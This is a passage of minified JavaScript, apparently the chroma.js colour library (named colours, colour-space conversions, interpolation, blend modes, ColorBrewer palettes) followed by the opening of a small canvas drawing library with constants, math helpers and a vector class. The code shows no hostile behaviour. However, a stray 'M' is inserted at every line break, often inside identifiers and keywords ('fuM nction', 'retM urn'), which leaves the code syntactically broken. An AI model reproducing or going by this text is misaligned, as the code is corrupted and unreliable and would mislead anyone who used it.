nd.apply(ot,[null].concat(r,["lch"])))},ft.hcl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(ot,[null].concat(r,["hcl"])))},ct.format.lch=Qe,ct.format.hcl=tt,["lch","hcl"].forEach(function(r){return ct.autodetect.push({p:2,test:function(){for(var e=[],t=arguments.length;t--;)e[t]=arguments[t];if(e=nt(e,r),"array"===at(e)&&3===e.length)return r}})});var it=d,lt=l.type,dt={aliceblue:"#f0f8ff",antiquewhite:"#faebd7",aqua:"#00ffff",aquamarine:"#7fffd4",azure:M
"#f0ffff",beige:"#f5f5dc",bisque:"#ffe4c4",black:"#000000",blanchedalmond:"#ffebcd",blue:"#0000ff",blueviolet:"#8a2be2",brown:"#a52a2a",burlywood:"#deb887",cadetblue:"#5f9ea0",chartreuse:"#7fff00",chocolate:"#d2691e",coral:"#ff7f50",cornflower:"#6495ed",cornflowerblue:"#6495ed",cornsilk:"#fff8dc",crimson:"#dc143c",cyan:"#00ffff",darkblue:"#00008b",darkcyan:"#008b8b",darkgoldenrod:"#b8860b",darkgray:"#a9a9a9",darkgreen:"#006400",darkgrey:"#a9a9a9",darkkhaki:"#bdb76b",darkmagenta:"#8b008b",darkolivegreen:"#556b2f",daM
rkorange:"#ff8c00",darkorchid:"#9932cc",darkred:"#8b0000",darksalmon:"#e9967a",darkseagreen:"#8fbc8f",darkslateblue:"#483d8b",darkslategray:"#2f4f4f",darkslategrey:"#2f4f4f",darkturquoise:"#00ced1",darkviolet:"#9400d3",deeppink:"#ff1493",deepskyblue:"#00bfff",dimgray:"#696969",dimgrey:"#696969",dodgerblue:"#1e90ff",firebrick:"#b22222",floralwhite:"#fffaf0",forestgreen:"#228b22",fuchsia:"#ff00ff",gainsboro:"#dcdcdc",ghostwhite:"#f8f8ff",gold:"#ffd700",goldenrod:"#daa520",gray:"#808080",green:"#008000",greenyellow:"#M
adff2f",grey:"#808080",honeydew:"#f0fff0",hotpink:"#ff69b4",indianred:"#cd5c5c",indigo:"#4b0082",ivory:"#fffff0",khaki:"#f0e68c",laserlemon:"#ffff54",lavender:"#e6e6fa",lavenderblush:"#fff0f5",lawngreen:"#7cfc00",lemonchiffon:"#fffacd",lightblue:"#add8e6",lightcoral:"#f08080",lightcyan:"#e0ffff",lightgoldenrod:"#fafad2",lightgoldenrodyellow:"#fafad2",lightgray:"#d3d3d3",lightgreen:"#90ee90",lightgrey:"#d3d3d3",lightpink:"#ffb6c1",lightsalmon:"#ffa07a",lightseagreen:"#20b2aa",lightskyblue:"#87cefa",lightslategray:"#M
778899",lightslategrey:"#778899",lightsteelblue:"#b0c4de",lightyellow:"#ffffe0",lime:"#00ff00",limegreen:"#32cd32",linen:"#faf0e6",magenta:"#ff00ff",maroon:"#800000",maroon2:"#7f0000",maroon3:"#b03060",mediumaquamarine:"#66cdaa",mediumblue:"#0000cd",mediumorchid:"#ba55d3",mediumpurple:"#9370db",mediumseagreen:"#3cb371",mediumslateblue:"#7b68ee",mediumspringgreen:"#00fa9a",mediumturquoise:"#48d1cc",mediumvioletred:"#c71585",midnightblue:"#191970",mintcream:"#f5fffa",mistyrose:"#ffe4e1",moccasin:"#ffe4b5",navajowhiteM
:"#ffdead",navy:"#000080",oldlace:"#fdf5e6",olive:"#808000",olivedrab:"#6b8e23",orange:"#ffa500",orangered:"#ff4500",orchid:"#da70d6",palegoldenrod:"#eee8aa",palegreen:"#98fb98",paleturquoise:"#afeeee",palevioletred:"#db7093",papayawhip:"#ffefd5",peachpuff:"#ffdab9",peru:"#cd853f",pink:"#ffc0cb",plum:"#dda0dd",powderblue:"#b0e0e6",purple:"#800080",purple2:"#7f007f",purple3:"#a020f0",rebeccapurple:"#663399",red:"#ff0000",rosybrown:"#bc8f8f",royalblue:"#4169e1",saddlebrown:"#8b4513",salmon:"#fa8072",sandybrown:"#f4a4M
60",seagreen:"#2e8b57",seashell:"#fff5ee",sienna:"#a0522d",silver:"#c0c0c0",skyblue:"#87ceeb",slateblue:"#6a5acd",slategray:"#708090",slategrey:"#708090",snow:"#fffafa",springgreen:"#00ff7f",steelblue:"#4682b4",tan:"#d2b48c",teal:"#008080",thistle:"#d8bfd8",tomato:"#ff6347",turquoise:"#40e0d0",violet:"#ee82ee",wheat:"#f5deb3",white:"#ffffff",whitesmoke:"#f5f5f5",yellow:"#ffff00",yellowgreen:"#9acd32"},ht=xr,bt=_r;v.prototype.name=function(){for(var r=bt(this._rgb,"rgb"),e=0,t=Object.keys(dt);e<t.length;e+=1){var n=M
t[e];if(dt[n]===r)return n.toLowerCase()}return r},it.format.named=function(r){if(r=r.toLowerCase(),dt[r])return ht(dt[r]);throw new Error("unknown color name: "+r)},it.autodetect.push({p:5,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===lt(r)&&dt[r.toLowerCase()])return"named"}});var st=l.unpack,pt=l.type,gt=function(r){if("number"==pt(r)&&r>=0&&r<=16777215)return[r>>16,r>>8&255,255&r,1];throw new Error("unknown num color: "+r)},vt=m,yt=v,mt=d,kt=l.type,wt=fuM
nction(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=st(r,"rgb");return(t[0]<<16)+(t[1]<<8)+t[2]};yt.prototype.num=function(){return wt(this._rgb)},vt.num=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(yt,[null].concat(r,["num"])))},mt.format.num=gt,mt.autodetect.push({p:5,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(1===r.length&&"number"===kt(r[0])&&r[0]>=0&&r[0]<=16777215)return"num"}});var Mt=m,_t=v,Nt=d,FtM
=l.unpack,xt=l.type,Pt=Math.round;_t.prototype.rgb=function(r){return void 0===r&&(r=!0),!1===r?this._rgb.slice(0,3):this._rgb.slice(0,3).map(Pt)},_t.prototype.rgba=function(r){return void 0===r&&(r=!0),this._rgb.slice(0,4).map(function(e,t){return t<3?!1===r?e:Pt(e):e})},Mt.rgb=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(_t,[null].concat(r,["rgb"])))},Nt.format.rgb=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Ft(r,"rgba");retM
urn void 0===t[3]&&(t[3]=1),t},Nt.autodetect.push({p:3,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ft(r,"rgba"),"array"===xt(r)&&(3===r.length||4===r.length&&"number"==xt(r[3])&&r[3]>=0&&r[3]<=1))return"rgb"}});var Rt=Math.log,Gt=function(r){var e,t,n,a=r/100;return a<66?(e=255,t=a<6?0:-155.25485562709179-.44596950469579133*(t=a-2)+104.49216199393888*Rt(t),n=a<20?0:.8274096064007395*(n=a-10)-254.76935184120902+115.67994401066147*Rt(n)):(e=351.97690566805693+.114206453784165*(e=a-55)-M
40.25366309332127*Rt(e),t=325.4494125711974+.07943456536662342*(t=a-50)-28.0852963507957*Rt(t),n=255),[e,t,n,1]},jt=Gt,Et=l.unpack,Ot=Math.round,qt=m,Bt=v,It=d,At=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];for(var t,n=Et(r,"rgb"),a=n[0],f=n[2],o=1e3,c=4e4;c-o>.4;){var u=jt(t=.5*(c+o));u[2]/u[0]>=f/a?c=t:o=t}return Ot(t)};Bt.prototype.temp=Bt.prototype.kelvin=Bt.prototype.temperature=function(){return At(this._rgb)},qt.temp=qt.kelvin=qt.temperature=function(){for(var r=[],e=arguments.length;e-M
-;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Bt,[null].concat(r,["temp"])))},It.format.temp=It.format.kelvin=It.format.temperature=Gt;var Dt=l.unpack,Ct=Math.cbrt,Yt=Math.pow,St=Math.sign,Lt=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Dt(r,"rgb"),n=t[0],a=t[1],f=t[2],o=[$t(n/255),$t(a/255),$t(f/255)],c=o[0],u=o[1],i=o[2],l=Ct(.4122214708*c+.5363325363*u+.0514459929*i),d=Ct(.2119034982*c+.6806995451*u+.1073969566*i),h=Ct(.0883024619*c+.2817188376*u+.6299787005*i);return[.M
2104542553*l+.793617785*d-.0040720468*h,1.9779984951*l-2.428592205*d+.4505937099*h,.0259040371*l+.7827717662*d-.808675766*h]};function $t(r){var e=Math.abs(r);return e<.04045?r/12.92:(St(r)||1)*Yt((e+.055)/1.055,2.4)}var Tt=l.unpack,Kt=Math.pow,Wt=Math.sign,Xt=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=Tt(r,"lab"))[0],n=r[1],a=r[2],f=Kt(t+.3963377774*n+.2158037573*a,3),o=Kt(t-.1055613458*n-.0638541728*a,3),c=Kt(t-.0894841775*n-1.291485548*a,3);return[255*Zt(4.0767416621*f-3.307711591M
3*o+.2309699292*c),255*Zt(-1.2684380046*f+2.6097574011*o-.3413193965*c),255*Zt(-.0041960863*f-.7034186147*o+1.707614701*c),r.length>3?r[3]:1]};function Zt(r){var e=Math.abs(r);return e>.0031308?(Wt(r)||1)*(1.055*Kt(e,1/2.4)-.055):12.92*r}var Ht=l.unpack,zt=l.type,Ut=m,Vt=v,Jt=d,Qt=Lt;Vt.prototype.oklab=function(){return Qt(this._rgb)},Ut.oklab=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Vt,[null].concat(r,["oklab"])))},Jt.format.oklab=Xt,Jt.autodetect.pM
ush({p:3,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ht(r,"oklab"),"array"===zt(r)&&3===r.length)return"oklab"}});var rn=l.unpack,en=Lt,tn=Se,nn=l.unpack,an=ze,fn=Xt,on=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=nn(r,"lch"))[0],n=r[1],a=r[2],f=an(t,n,a),o=f[0],c=f[1],u=f[2],i=fn(o,c,u);return[i[0],i[1],i[2],r.length>3?r[3]:1]},cn=l.unpack,un=l.type,ln=m,dn=v,hn=d,bn=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=rn(r,"rgb"),n=tM
[0],a=t[1],f=t[2],o=en(n,a,f),c=o[0],u=o[1],i=o[2];return tn(c,u,i)};dn.prototype.oklch=function(){return bn(this._rgb)},ln.oklch=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(dn,[null].concat(r,["oklch"])))},hn.format.oklch=on,hn.autodetect.push({p:3,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=cn(r,"oklch"),"array"===un(r)&&3===r.length)return"oklch"}});var sn=v,pn=l.type;sn.prototype.alpha=function(r,e){return void 0===e&M
&(e=!1),void 0!==r&&"number"===pn(r)?e?(this._rgb[3]=r,this):new sn([this._rgb[0],this._rgb[1],this._rgb[2],r],"rgb"):this._rgb[3]},v.prototype.clipped=function(){return this._rgb._clipped||!1};var gn=v,vn=pe;gn.prototype.darken=function(r){void 0===r&&(r=1);var e=this.lab();return e[0]-=vn.Kn*r,new gn(e,"lab").alpha(this.alpha(),!0)},gn.prototype.brighten=function(r){return void 0===r&&(r=1),this.darken(-r)},gn.prototype.darker=gn.prototype.darken,gn.prototype.brighter=gn.prototype.brighten,v.prototype.get=functioM
n(r){var e=r.split("."),t=e[0],n=e[1],a=this[t]();if(n){var f=t.indexOf(n)-("ok"===t.substr(0,2)?2:0);if(f>-1)return a[f];throw new Error("unknown channel "+n+" in mode "+t)}return a};var yn=v,mn=l.type,kn=Math.pow;yn.prototype.luminance=function(r){if(void 0!==r&&"number"===mn(r)){if(0===r)return new yn([0,0,0,this._rgb[3]],"rgb");if(1===r)return new yn([255,255,255,this._rgb[3]],"rgb");var e=this.luminance(),t=20,n=function(e,a){var f=e.interpolate(a,.5,"rgb"),o=f.luminance();return Math.abs(r-o)<1e-7||!t--?f:o>rM
?n(e,f):n(f,a)},a=(e>r?n(new yn([0,0,0]),this):n(this,new yn([255,255,255]))).rgb();return new yn(a.concat([this._rgb[3]]))}return wn.apply(void 0,this._rgb.slice(0,3))};var wn=function(r,e,t){return.2126*(r=Mn(r))+.7152*(e=Mn(e))+.0722*(t=Mn(t))},Mn=function(r){return(r/=255)<=.03928?r/12.92:kn((r+.055)/1.055,2.4)},_n={},Nn=v,Fn=l.type,xn=_n,Pn=v,Rn=function(r,e,t){void 0===t&&(t=.5);for(var n=[],a=arguments.length-3;a-- >0;)n[a]=arguments[a+3];var f=n[0]||"lrgb";if(xn[f]||n.length||(f=Object.keys(xn)[0]),!xn[f])tM
hrow new Error("interpolation mode "+f+" is not defined");return"object"!==Fn(r)&&(r=new Nn(r)),"object"!==Fn(e)&&(e=new Nn(e)),xn[f](r,e,t).alpha(r.alpha()+t*(e.alpha()-r.alpha()))};Pn.prototype.mix=Pn.prototype.interpolate=function(r,e){void 0===e&&(e=.5);for(var t=[],n=arguments.length-2;n-- >0;)t[n]=arguments[n+2];return Rn.apply(void 0,[this,r,e].concat(t))};var Gn=v;Gn.prototype.premultiply=function(r){void 0===r&&(r=!1);var e=this._rgb,t=e[3];return r?(this._rgb=[e[0]*t,e[1]*t,e[2]*t,t],this):new Gn([e[0]*t,M
e[1]*t,e[2]*t,t],"rgb")};var jn=v,En=pe;jn.prototype.saturate=function(r){void 0===r&&(r=1);var e=this.lch();return e[1]+=En.Kn*r,e[1]<0&&(e[1]=0),new jn(e,"lch").alpha(this.alpha(),!0)},jn.prototype.desaturate=function(r){return void 0===r&&(r=1),this.saturate(-r)};var On=v,qn=l.type;On.prototype.set=function(r,e,t){void 0===t&&(t=!1);var n=r.split("."),a=n[0],f=n[1],o=this[a]();if(f){var c=a.indexOf(f)-("ok"===a.substr(0,2)?2:0);if(c>-1){if("string"==qn(e))switch(e.charAt(0)){case"+":case"-":o[c]+=+e;break;case"*M
":o[c]*=+e.substr(1);break;case"/":o[c]/=+e.substr(1);break;default:o[c]=+e}else{if("number"!==qn(e))throw new Error("unsupported value for Color.set");o[c]=e}var u=new On(o,a);return t?(this._rgb=u._rgb,this):u}throw new Error("unknown channel "+f+" in mode "+a)}return o};var Bn=v;_n.rgb=function(r,e,t){var n=r._rgb,a=e._rgb;return new Bn(n[0]+t*(a[0]-n[0]),n[1]+t*(a[1]-n[1]),n[2]+t*(a[2]-n[2]),"rgb")};var In=v,An=Math.sqrt,Dn=Math.pow;_n.lrgb=function(r,e,t){var n=r._rgb,a=n[0],f=n[1],o=n[2],c=e._rgb,u=c[0],i=c[1M
],l=c[2];return new In(An(Dn(a,2)*(1-t)+Dn(u,2)*t),An(Dn(f,2)*(1-t)+Dn(i,2)*t),An(Dn(o,2)*(1-t)+Dn(l,2)*t),"rgb")};var Cn=v;_n.lab=function(r,e,t){var n=r.lab(),a=e.lab();return new Cn(n[0]+t*(a[0]-n[0]),n[1]+t*(a[1]-n[1]),n[2]+t*(a[2]-n[2]),"lab")};var Yn=v,Sn=function(r,e,t,n){var a,f,o,c,u,i,l,d,h,b,s,p,g;return"hsl"===n?(o=r.hsl(),c=e.hsl()):"hsv"===n?(o=r.hsv(),c=e.hsv()):"hcg"===n?(o=r.hcg(),c=e.hcg()):"hsi"===n?(o=r.hsi(),c=e.hsi()):"lch"===n||"hcl"===n?(n="hcl",o=r.hcl(),c=e.hcl()):"oklch"===n&&(o=r.oklch()M
.reverse(),c=e.oklch().reverse()),"h"!==n.substr(0,1)&&"oklch"!==n||(u=(a=o)[0],l=a[1],h=a[2],i=(f=c)[0],d=f[1],b=f[2]),isNaN(u)||isNaN(i)?isNaN(u)?isNaN(i)?p=Number.NaN:(p=i,1!=h&&0!=h||"hsv"==n||(s=d)):(p=u,1!=b&&0!=b||"hsv"==n||(s=l)):p=u+t*(i>u&&i-u>180?i-(u+360):i<u&&u-i>180?i+360-u:i-u),void 0===s&&(s=l+t*(d-l)),g=h+t*(b-h),new Yn("oklch"===n?[g,s,p]:[p,s,g],n)},Ln=Sn,$n=function(r,e,t){return Ln(r,e,t,"lch")};_n.lch=$n,_n.hcl=$n;var Tn=v;_n.num=function(r,e,t){var n=r.num(),a=e.num();return new Tn(n+t*(a-n),M
"num")};var Kn=Sn;_n.hcg=function(r,e,t){return Kn(r,e,t,"hcg")};var Wn=Sn;_n.hsi=function(r,e,t){return Wn(r,e,t,"hsi")};var Xn=Sn;_n.hsl=function(r,e,t){return Xn(r,e,t,"hsl")};var Zn=Sn;_n.hsv=function(r,e,t){return Zn(r,e,t,"hsv")};var Hn=v;_n.oklab=function(r,e,t){var n=r.oklab(),a=e.oklab();return new Hn(n[0]+t*(a[0]-n[0]),n[1]+t*(a[1]-n[1]),n[2]+t*(a[2]-n[2]),"oklab")};var zn=Sn;_n.oklch=function(r,e,t){return zn(r,e,t,"oklch")};Math.pow,Math.sqrt,Math.PI,Math.cos,Math.sin,Math.atan2,Math.pow;var Un=m,Vn=funM
ction(r,e,t){if(!Vn[t])throw new Error("unknown blend mode "+t);return Vn[t](r,e)},Jn=function(r){return function(e,t){var n=Un(t).rgb(),a=Un(e).rgb();return Un.rgb(r(n,a))}},Qn=function(r){return function(e,t){var n=[];return n[0]=r(e[0],t[0]),n[1]=r(e[1],t[1]),n[2]=r(e[2],t[2]),n}};Vn.normal=Jn(Qn(function(r){return r})),Vn.multiply=Jn(Qn(function(r,e){return r*e/255})),Vn.screen=Jn(Qn(function(r,e){return 255*(1-(1-r/255)*(1-e/255))})),Vn.overlay=Jn(Qn(function(r,e){return e<128?2*r*e/255:255*(1-2*(1-r/255)*(1-eM
/255))})),Vn.darken=Jn(Qn(function(r,e){return r>e?e:r})),Vn.lighten=Jn(Qn(function(r,e){return r>e?r:e})),Vn.dodge=Jn(Qn(function(r,e){return 255===r?255:(r=e/255*255/(1-r/255))>255?255:r})),Vn.burn=Jn(Qn(function(r,e){return 255*(1-(1-e/255)/(r/255))}));Math.pow,Math.sin,Math.cos,Math.floor,Math.random,Math.log,Math.pow,Math.floor,Math.abs,Math.sqrt,Math.pow,Math.min,Math.max,Math.atan2,Math.abs,Math.cos,Math.sin,Math.exp,Math.PI;for(var ra={OrRd:["#fff7ec","#fee8c8","#fdd49e","#fdbb84","#fc8d59","#ef6548","#d730M
1f","#b30000","#7f0000"],PuBu:["#fff7fb","#ece7f2","#d0d1e6","#a6bddb","#74a9cf","#3690c0","#0570b0","#045a8d","#023858"],BuPu:["#f7fcfd","#e0ecf4","#bfd3e6","#9ebcda","#8c96c6","#8c6bb1","#88419d","#810f7c","#4d004b"],Oranges:["#fff5eb","#fee6ce","#fdd0a2","#fdae6b","#fd8d3c","#f16913","#d94801","#a63603","#7f2704"],BuGn:["#f7fcfd","#e5f5f9","#ccece6","#99d8c9","#66c2a4","#41ae76","#238b45","#006d2c","#00441b"],YlOrBr:["#ffffe5","#fff7bc","#fee391","#fec44f","#fe9929","#ec7014","#cc4c02","#993404","#662506"],YlGn:M
["#ffffe5","#f7fcb9","#d9f0a3","#addd8e","#78c679","#41ab5d","#238443","#006837","#004529"],Reds:["#fff5f0","#fee0d2","#fcbba1","#fc9272","#fb6a4a","#ef3b2c","#cb181d","#a50f15","#67000d"],RdPu:["#fff7f3","#fde0dd","#fcc5c0","#fa9fb5","#f768a1","#dd3497","#ae017e","#7a0177","#49006a"],Greens:["#f7fcf5","#e5f5e0","#c7e9c0","#a1d99b","#74c476","#41ab5d","#238b45","#006d2c","#00441b"],YlGnBu:["#ffffd9","#edf8b1","#c7e9b4","#7fcdbb","#41b6c4","#1d91c0","#225ea8","#253494","#081d58"],Purples:["#fcfbfd","#efedf5","#dadaeM
b","#bcbddc","#9e9ac8","#807dba","#6a51a3","#54278f","#3f007d"],GnBu:["#f7fcf0","#e0f3db","#ccebc5","#a8ddb5","#7bccc4","#4eb3d3","#2b8cbe","#0868ac","#084081"],Greys:["#ffffff","#f0f0f0","#d9d9d9","#bdbdbd","#969696","#737373","#525252","#252525","#000000"],YlOrRd:["#ffffcc","#ffeda0","#fed976","#feb24c","#fd8d3c","#fc4e2a","#e31a1c","#bd0026","#800026"],PuRd:["#f7f4f9","#e7e1ef","#d4b9da","#c994c7","#df65b0","#e7298a","#ce1256","#980043","#67001f"],Blues:["#f7fbff","#deebf7","#c6dbef","#9ecae1","#6baed6","#4292c6M
","#2171b5","#08519c","#08306b"],PuBuGn:["#fff7fb","#ece2f0","#d0d1e6","#a6bddb","#67a9cf","#3690c0","#02818a","#016c59","#014636"],Viridis:["#440154","#482777","#3f4a8a","#31678e","#26838f","#1f9d8a","#6cce5a","#b6de2b","#fee825"],Spectral:["#9e0142","#d53e4f","#f46d43","#fdae61","#fee08b","#ffffbf","#e6f598","#abdda4","#66c2a5","#3288bd","#5e4fa2"],RdYlGn:["#a50026","#d73027","#f46d43","#fdae61","#fee08b","#ffffbf","#d9ef8b","#a6d96a","#66bd63","#1a9850","#006837"],RdBu:["#67001f","#b2182b","#d6604d","#f4a582","#M
fddbc7","#f7f7f7","#d1e5f0","#92c5de","#4393c3","#2166ac","#053061"],PiYG:["#8e0152","#c51b7d","#de77ae","#f1b6da","#fde0ef","#f7f7f7","#e6f5d0","#b8e186","#7fbc41","#4d9221","#276419"],PRGn:["#40004b","#762a83","#9970ab","#c2a5cf","#e7d4e8","#f7f7f7","#d9f0d3","#a6dba0","#5aae61","#1b7837","#00441b"],RdYlBu:["#a50026","#d73027","#f46d43","#fdae61","#fee090","#ffffbf","#e0f3f8","#abd9e9","#74add1","#4575b4","#313695"],BrBG:["#543005","#8c510a","#bf812d","#dfc27d","#f6e8c3","#f5f5f5","#c7eae5","#80cdc1","#35978f","#M
01665e","#003c30"],RdGy:["#67001f","#b2182b","#d6604d","#f4a582","#fddbc7","#ffffff","#e0e0e0","#bababa","#878787","#4d4d4d","#1a1a1a"],PuOr:["#7f3b08","#b35806","#e08214","#fdb863","#fee0b6","#f7f7f7","#d8daeb","#b2abd2","#8073ac","#542788","#2d004b"],Set2:["#66c2a5","#fc8d62","#8da0cb","#e78ac3","#a6d854","#ffd92f","#e5c494","#b3b3b3"],Accent:["#7fc97f","#beaed4","#fdc086","#ffff99","#386cb0","#f0027f","#bf5b17","#666666"],Set1:["#e41a1c","#377eb8","#4daf4a","#984ea3","#ff7f00","#ffff33","#a65628","#f781bf","#999M
999"],Set3:["#8dd3c7","#ffffb3","#bebada","#fb8072","#80b1d3","#fdb462","#b3de69","#fccde5","#d9d9d9","#bc80bd","#ccebc5","#ffed6f"],Dark2:["#1b9e77","#d95f02","#7570b3","#e7298a","#66a61e","#e6ab02","#a6761d","#666666"],Paired:["#a6cee3","#1f78b4","#b2df8a","#33a02c","#fb9a99","#e31a1c","#fdbf6f","#ff7f00","#cab2d6","#6a3d9a","#ffff99","#b15928"],Pastel2:["#b3e2cd","#fdcdac","#cbd5e8","#f4cae4","#e6f5c9","#fff2ae","#f1e2cc","#cccccc"],Pastel1:["#fbb4ae","#b3cde3","#ccebc5","#decbe4","#fed9a6","#ffffcc","#e5d8bd","M
#fddaec","#f2f2f2"]},ea=0,ta=Object.keys(ra);ea<ta.length;ea+=1){var na=ta[ea];ra[na.toLowerCase()]=ra[na]}return m});
function Q5(e){return new function e(t){let n="global"==t?window:this;n.canvas=document.createElement("canvas");let o=n.canvas.getContext("2d");n.width=100;n.height=100;n.canvas.width=n.width;n.canvas.height=n.height;"offscreen"!=t&&(document.body?document.body.appendChild(n.canvas):window.addEventListener("load",function(){document.body.appendChild(n.canvas)}));m();n.MAGIC=161533525;n.RGB=0;n.HSVM
=1;n.HSB=1;n.CHORD=0;n.PIE=1;n.OPEN=2;n.RADIUS=1;n.CORNER=2;n.CORNERS=3;n.ROUND="round";n.SQUARE="butt";n.PROJECT="square";n.MITER="miter";n.BEVEL="bevel";n.CLOSE=1;n.BLEND="source-over";n.REMOVE="destination-out";n.ADD="lighter";n.DARKEST="darken";n.LIGHTEST="lighten";n.DIFFERENCE="difference";n.SUBTRACT="subtract";n.EXCLUSION="exclusion";n.MULTIPLY="multiply";n.SCREEN="screen";n.REPLACE="copy";n.OVERLAY="overlay";n.HARD_LIGHT="hard-light";n.SOFT_LIGHT="soft-light";n.DODGE="color-dodge";n.BURN="color-burn";n.NORMAM
L="normal";n.ITALIC="italic";n.BOLD="bold";n.BOLDITALIC="italic bold";n.CENTER="center";n.LEFT="left";n.RIGHT="right";n.TOP="top";n.BOTTOM="bottom";n.BASELINE="alphabetic";n.LANDSCAPE="landscape";n.PORTRAIT="portrait";n.ALT=18;n.BACKSPACE=8;n.CONTROL=17;n.DELETE=46;n.DOWN_ARROW=40;n.ENTER=13;n.ESCAPE=27;n.LEFT_ARROW=37;n.OPTION=18;n.RETURN=13;n.RIGHT_ARROW=39;n.SHIFT=16;n.TAB=9;n.UP_ARROW=38;n.HALF_PI=Math.PI/2;n.PI=Math.PI;n.QUARTER_PI=Math.PI/4;n.TAU=2*Math.PI;n.TWO_PI=2*Math.PI;n.THRESHOLD=1;n.GRAY=2;n.OPAQUE=3;M
n.INVERT=4;n.POSTERIZE=5;n.DILATE=6;n.ERODE=7;n.BLUR=8;n.ARROW="default";n.CROSS="crosshair";n.HAND="pointer";n.MOVE="move";n.TEXT="text";n.VIDEO={video:!0,audio:!1};n.AUDIO={video:!1,audio:!0};n.SHR3=1;n.LCG=2;n.HARDWARE_FILTERS=!0;n.hint=function(e,t){n[e]=t};n.frameCount=0;n.mouseX=0;n.mouseY=0;n.pmouseX=0;n.pmouseY=0;n.mouseButton=null;n.keyIsPressed=!1;n.mouseIsPressed=!1;n.key=null;n.keyCode=null;n.pixels=null;n.accelerationX=0;n.accelerationY=0;n.accelerationZ=0;n.rotationX=0;n.rotationY=0;n.rotationZ=0;n.reM
lRotationX=0;n.relRotationY=0;n.relRotationZ=0;n.pAccelerationX=0;n.pAccelerationY=0;n.pAccelerationZ=0;n.pRotationX=0;n.pRotationY=0;n.pRotationZ=0;n.pRelRotationX=0;n.pRelRotationY=0;n.pRelRotationZ=0;n.touches=[];n._colorMode=n.RGB;n._noStroke=!1;n._noFill=!1;n._ellipseMode=n.CENTER;n._rectMode=n.CORNER;n._curveDetail=20;n._curveAlpha=0;n._noLoop=!1;n._textFont="sans-serif";n._textSize=12;n._textLeading=12;n._textStyle="normal";n._pixelDensity=1;n._frameRate=null;n._tint=null;let a=null;let r=!0;let i=[];let l=nM
ull;let u=0;let s={};let c=0;let h=null;let f=null;let d=null;Object.defineProperty(n,"deviceOrientation",{get:function(){return 90==Math.abs(window.orientation)?n.LANDSCAPE:n.PORTRAIT}});Object.defineProperty(n,"windowWidth",{get:function(){return window.innerWidth}});Object.defineProperty(n,"windowHeight",{get:function(){return window.innerHeight}});Object.defineProperty(n,"drawingContext",{get:function(){return o}});n.createCanvas=function(e,t){n.width=e,n.height=t,n.canvas.width=e,n.canvas.height=t,m()};n.resizM
eCanvas=function(e,t){n.width=e,n.height=t,n.canvas.width=e,n.canvas.height=t};n.createGraphics=n.createImage=function(t,n){let o=new e("offscreen");return o.createCanvas(t,n),o.noLoop(),o};n.pixelDensity=function(e){return null==e?n._pixelDensity:(n._pixelDensity=e,n.canvas.width=Math.ceil(n.width*e),n.canvas.height=Math.ceil(n.height*e),n.canvas.style.width=n.width+"px",n.canvas.style.height=n.height+"px",o.scale(n._pixelDensity,n._pixelDensity),m(),n._pixelDensity)};n.map=function(e,t,n,o,a,r){let i=o+1*(e-t)/(nM
-t)*(a-o);return r?o<a?Math.min(Math.max(i,o),a):Math.min(Math.max(i,a),o):i};n.lerp=function(e,t,n){return e*(1-n)+t*n};n.constrain=function(e,t,n){return Math.min(Math.max(e,t),n)};n.dist=function(){return 4==arguments.length?Math.hypot(arguments[0]-arguments[2],arguments[1]-arguments[3]):Math.hypot(arguments[0]-arguments[3],arguments[1]-arguments[4],arguments[2]-arguments[5])};n.norm=function(e,t,o){return n.map(e,t,o,0,1)};n.sq=function(e){return e*e};n.fract=function(e){return e-Math.floor(e)};n.degrees=functiM
on(e){return 180*e/Math.PI};n.radians=function(e){return e*Math.PI/180};n.abs=Math.abs;n.ceil=Math.ceil;n.exp=Math.exp;n.floor=Math.floor;n.log=Math.log;n.mag=Math.hypot;n.max=Math.max;n.min=Math.min;n.round=Math.round;n.sqrt=Math.sqrt;n.sin=Math.sin;n.cos=Math.cos;n.tan=Math.tan;n.asin=Math.asin;n.acos=Math.acos;n.atan=Math.atan;n.atan2=Math.atan2;n.Vector=function(e,t,o){let a=this;a.x=e||0,a.y=t||0,a.z=o||0;let r=null,i=null;function l(e,t,n){return null!=e.x?e:null!=t?{x:e,y:t,z:n||0}:{x:e,y:e,z:e}}function u()M
{null==i&&(i=a.x*a.x+a.y*a.y+a.z*a.z,r=Math.sqrt(i))}function s(){i=null,r=null}a.set=function(e,t,n){a.x=e||0,a.y=t||0,a.z=n||0},a.copy=function(){return new n.Vector(a.x,a.y,a.z)},a.add=function(){let e=l.apply(null,arguments);return a.x+=e.x,a.y+=e.y,a.z+=e.z,s(),a},a.rem=function(){let e=l.apply(null,arguments);return a.x%=e.x,a.y%=e.y,a.z%=e.z,s(),a},a.sub=function(){let e=l.apply(null,arguments);return a.x-=e.x,a.y-=e.y,a.z-=e.z,s(),a},a.mult=function(){let e=l.apply(null,arguments);return a.x*=e.x,a.y*=e.y,aM
